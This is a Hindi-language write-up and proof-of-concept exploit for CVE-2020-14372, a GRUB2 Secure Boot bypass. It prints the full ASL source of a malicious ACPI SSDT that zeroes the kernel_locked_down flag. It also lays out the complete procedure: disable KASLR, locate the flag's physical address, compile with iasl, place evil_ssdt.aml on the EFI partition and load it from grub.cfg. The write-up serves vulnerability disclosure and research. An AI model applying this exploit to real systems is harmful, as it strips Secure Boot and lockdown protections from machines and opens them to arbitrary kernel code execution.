
CVE-2020-14372 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट और राइट-अप, जो दुर्भावनापूर्ण ACPI SSDT के माध्यम से सिक्योर बूट बाईपास का प्रदर्शन करता है, ताकि कर्नेल लॉकडाउन को अक्षम किया जा सके और मनमाना कोड निष्पादित किया जा सके।
एक दिन मैंने GRUB2 के कंसोल में "help" टाइप किया और कुछ वास्तव में "मजेदार" कमांड देखे:
मैंने तुरंत सोचा कि मुझे सबसे मजेदार सुरक्षित बूट बाइपास मिल गया है, लेकिन ये कमांड सुरक्षित बूट के तहत निम्नलिखित आउटपुट देते हैं:
error: Secure Boot forbids loading module .../memrw.mod.
जिज्ञासावश, इस तरह बूट करने के बाद मैंने "acpi" कमांड टाइप किया, और इसने एक उपयोग संदेश प्रिंट किया जो मुझे एक AML फ़ाइल की ओर इशारा करने के लिए कह रहा था। यह सर्वविदित है कि ACPI का दूसरा नाम "आपके कर्नेल के संदर्भ में मनमाना विक्रेता-प्रदत्त कोड चलाने का तंत्र" है, क्योंकि हम सुरक्षित बूट सक्षम होने पर ACPI तालिकाएँ लोड कर सकते हैं, हम वह "विक्रेता" हैं जो वह कोड प्रदान कर सकता है।
लेकिन चूंकि बूट किए गए कर्नेल के डेटा सेगमेंट में एक एक-बाइट फ्लैग (kernel_locked_down) होता है जो उसे बताता है कि वह "लॉक डाउन" है या नहीं, हम एक SSDT का उपयोग करके उस फ्लैग को ओवरराइट कर सकते हैं और कर्नेल को मनमाने मॉड्यूल लोड करने दे सकते हैं।
निम्नलिखित SSDT एक "बैटरी" ऑब्जेक्ट बनाकर ऐसा करता है जिसे HACK कहा जाता है, और उस ऑब्जेक्ट की _INI विधि में लेखन करता है जो हमेशा कर्नेल द्वारा निष्पादित की जाती है:
DefinitionBlock ("trigger.aml", "SSDT", 2, "", "", 0x00001001)
{
OperationRegion (KMEM, SystemMemory, ADDRESS_GOES_HERE, 4)
Field (KMEM, DWordAcc, NoLock, WriteAsZeros)
{
LKDN, 32
}
Device (\_SB_.HACK)
{
Name(_HID, EisaId ("PNP0C0A"))
Name(_UID, 0x02)
Method(_INI)
{
If (LKDN)
{
LKDN = Zero
}
}
}
}
मैंने Python में एक प्रूफ ऑफ कॉन्सेप्ट एक्सप्लॉइट लिखा है जो इस SSDT को उत्पन्न करने में मदद करता है, लेकिन इसे हाथ से एक्सप्लॉइट करना भी उतना मुश्किल नहीं है। मोटा रूपरेखा इस प्रकार है:
nokaslr जोड़कर KASLR अक्षम करेंkernel_locked_down प्रतीक का भौतिक पता खोजेंiasl का उपयोग करके उस SSDT को कंपाइल करेंमान्यताएँ:
root पहुंच हैजब उपरोक्त मान्यताएँ पूरी हो जाती हैं, तो /etc/default/grub संपादित करें, GRUB_CMDLINE_LINUX_DEFAULT में nokaslr जोड़ें, update-grub चलाएँ, और फिर अंत में रीबूट करें।
जब कर्नेल बिना पता स्थान लेआउट रैंडमाइजेशन के बूट हो जाता है, तो genssdt.py स्क्रिप्ट का उपयोग एक "दुर्भावनापूर्ण" SSDT उत्पन्न करने के लिए किया जा सकता है जो रनटाइम पर कर्नेल की मेमोरी को पैच करके लॉकडाउन को अक्षम कर देगा:
python3 genssdt.py > trigger.dsl
iasl trigger.dsl
cp trigger.aml /boot/efi/evil_ssdt.aml
अब जब SSDT बन गया है, तो GRUB कॉन्फ़िगरेशन फ़ाइल (आमतौर पर /boot/grub/grub.cfg) को संपादित किया जाना चाहिए ताकि GRUB इस SSDT को लोड करे (इसे इस फ़ाइल के शीर्ष पर जोड़ें):
acpi (hd0,gpt1)/evil_ssdt.aml
डिस्क पर EFI सिस्टम पार्टीशन (जहाँ हमने ऊपर SSDT रखा है) के स्थान के आधार पर, (hd0,gpt1) को किसी और चीज़ से बदलने की आवश्यकता हो सकती है।
अंत में रीबूट के बाद, कर्नेल लॉकडाउन अक्षम हो जाना चाहिए, जिससे root को कर्नेल में मनमाना कोड निष्पादित करने की क्षमता मिल जाएगी।